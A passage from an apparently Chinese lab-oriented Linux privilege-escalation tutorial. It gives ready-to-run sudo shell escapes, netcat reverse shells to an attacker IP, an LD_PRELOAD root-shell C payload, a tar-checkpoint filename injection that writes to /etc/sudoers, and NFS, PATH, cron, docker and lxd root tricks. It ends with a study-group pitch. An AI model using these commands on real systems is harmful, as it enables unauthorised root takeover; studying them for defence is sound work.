3.find 提权
此时无法执行
执行
sudo find / -exec bash \;
此时find无suid权限,但是可以sudo提权
4.perl
-e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash.
sudo perl -e 'exec bash'
sudo perl -e 'exec "/bin/bash";'
5.python
pty(伪终端库) pty.spawn生成一个进程
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
6.less
less以root权限浏览文件内容时
sudo less test
其后输入
!bash
获取root shell
7.awk
sudo awk 'BEGIN {system("/bin/bash")}'
8.man
sudo man man
依然是输入!bash
9.vim,vi
sudo vi/vim
进入编辑界面后 !bash
10.如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去
例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。
11.env
sudo env /bin/bash
12.ftp
sudo ftp
!bash
13.socat/netcat
先插入netcat的用法:
netcat -e选择指定程序,有些机器上出于安全考虑无-e选项
运行-e的机器上为靶机
比如正向shell:
靶机:
nc -lvvp 4444 -e /bin/bash
攻击机
nc ip port
反向shell:
攻击机监听:
nc -lvvp 4444
靶机:
nc -e /bin/bash ip port
当无法-e(反弹shell)的时候:
在攻击机上监听两个端口,例如4444,5555
靶机上执行
nc 192.168.56.141 4444| /bin/bash |nc 192.168.56.141 5555
使得在攻击机4444端口输入的命令可以在5555端口上回显
root权限执行在所有命令前加sudo 就好
14.cp/scp
scp是一个安全复制文件的命令
提权用法与suid相似
如果sudo设置了黑名单,比如不让用sudo find
由于cp无法直接生成一个shell,但是可以sudo cp将find命令复制到其他路径,再sudo find获得root shell
如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。
三.nfs配置不当提权
NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。
攻击机查看:
发现有可以来自所有主机连接的/home目录挂载(且攻击机可以以root身份访问nfs)
1.
目的是攻击机以root身份访问挂载目录,传入bash,并且赋予suid(root)权限
首先将攻击机权限提升至root
挂载空目录
mount -t nfs 192.168.56.130:/home /tmp/test
传入bash
cp /bin/bash /tmp/test/rneck
来到目录,赋予bash suid权限
chmod u+s bash
这里我kali传入的bash在ubuntu上无法运行,所以选择了在靶机上先往nfs目录种传入bash,攻击机kali chown,chmod一下就OK了
回到靶机,提权成功
重点是可以以root身份赋予二进制(命令)文件suid权限,这样机器上的目标用户就可以提权
发挥想象力…除了搬bash利用方式还有很多…
四.利用path环境变量进行提权
上演一手移花接木
假设拿到了某台机子的普通用户权限,但是有suid权限的命令不好直接利用,sudo又不知道密码,shadow利用John the Ripper也破解不出密码。那就可以全局搜索一下某些运维程序/文件是否有suid(root属主)权限,如果有的话,可以查看文件看看调用了哪些命令,然后就可以在环境变量里面做些手脚提权。
比如桌面上有一运维文件,属主root,有suid权限
echo "/bin/bash" > ps
运行后是执行了ps命令
此时在/tmp目录下创建ps文件,并且将 /bin/bash 写入
echo "/bin/bash" > ps
chmod 777 ps一下
export PATH=/tmp:$PATH
在环境变量中导入/tmp这个路径,这样系统在寻找ps命令的时候就会优先在/tmp目录下寻找
echo $PATH
或者创建符号链接
ln -s /bin/bash ps
或者直接cp
cp /bin/bash ps
情况:这种情况适用于,给普通用户分配了个可执行程序,且该程序有suid权限,我们又知道该程序会调用哪些命令,那么就可以结合PATH来进行提权。
五.利用LD_PRELOAD环境变量进行提权
LD_PRELOAD是Linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LD_PRELOAD可以指定程序运行前加载的动态连接库。
如果sudo -l发现可用的命令不好直接进行提权,可尝试此方法
下面以find为例(find 可以直接提权)
.c代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
编译
gcc test.c -fPIC -shared -o test.so -nostartfiles
wget下载到目录
执行
sudo LD_PRELOAD=./test.so find
方法的好处是自建的so文件无需root属主或者是suid权限,只需要一个可以sudo执行的命令
苛刻的地方是sudoers之前有特殊配置,比如需要env_keep
否则就会出现报错
六.利用CRON环境变量进行提权
cronjobs是定时任务,在特定的日期和时间执行计划任务。例如定期备份或者定期清理某个目录等都会用到,定义格式如下:
1.可以修改定时任务文件
首先查看目标/etc/crontab,看看有无可利用的文件
若有,转到相应的文件并且修改,如一个py文件并且属主为root,若能修改文件,可添加如下代码
import os
import sys
try:
os.system("chmod u+s /bin/bash")
except:
sys.exit()
每隔一分钟将 /bin/bash 赋予suid权限
之后
/bin/bash -p
提权
此方法苛刻的地方在于某些定时任务设置的文件普通用户能够修改
2.无法修改定时任务文件
crontab看到文件
vim一下
看到是tar命令,便可以利用
在tar命令中有一个checkpoint参数,即检查点,比如checkpoint=1,则代表压缩过程中每压缩一个文件就去执行一个检查操作。
而这个检查操作的参数是-checkpoint-action=exec=,后面可以跟要执行的命令。
利用思路就是我们写入一个可以提提权的sh脚本,这个思路就多了…然后利用checkpoint-action=exec=接一个执行sh脚本的命令即可。
这里创建shell.sh
写入
echo "test ALL=(root) NOPASSWD:ALL" >> /etc/sudoers
输入
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=bash shell.sh"
这样上面两个文件名就会被tar当作参数执行
一小会后:
七.利用docker进行提权
区别于docker逃逸,相当于是利用docker进行提权
在docker中,是允许访问root用户和docker组中的其它用户的
查看是否在docker组下
cat /etc/group | grep olw
登入docker组
newgrp docker
挂载/root目录到docker,或者/etc等
docker run -v /etc:/mnt -it alpine
之后就为所欲为了
八.利用lxd进行提权
lxc list
查看容器部署情况
查看属组
cat /etc/group | grep test
攻击机
下载alpine
git clone https://github.com/saghul/lxd-alpine-builder.git
构建
cd lxd-alpine-builder
./build-alpine
开启一个简单的http服务
python -m http.server 2333
目标机器下载
wget http://192.168.56.141:2333/alpine-v3.13-x86_64-20210218_0139.tar.gz
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz
或者重命名
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
列出已经存在的image
lxc image list
lxc init来初始化image(可以填别名,也可以填指纹),也就是alpine系统,并创建test账户,通过c参数来配置安全提升策略为true,代表用户test可申请高级权限
lxc init cd73881adaac test -c security.privileged=true
lxc config device命令用来配置设备,add把mydevice设备添加到了test账户中,disk是磁盘挂载,把本机/目录挂载到容器的/mnt/root下,recursive即是否递归,代表是否将所有子目录及所有文件进行挂载,命令如下:
lxc config device add test mydevice disk source=/ path=/mnt/root recursive=true
以test用户启动
lxc start test
lxc exec选择以test 执行sh
lxc exec test /bin/sh
尝试读一下shadow
1.目标机安装了bd容器,且需要利用的普通用户在xd组。
2.下载alpine(轻量级的linux系统,大小在5m左右),传到目标机。
3.把alpine导入到容器中。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!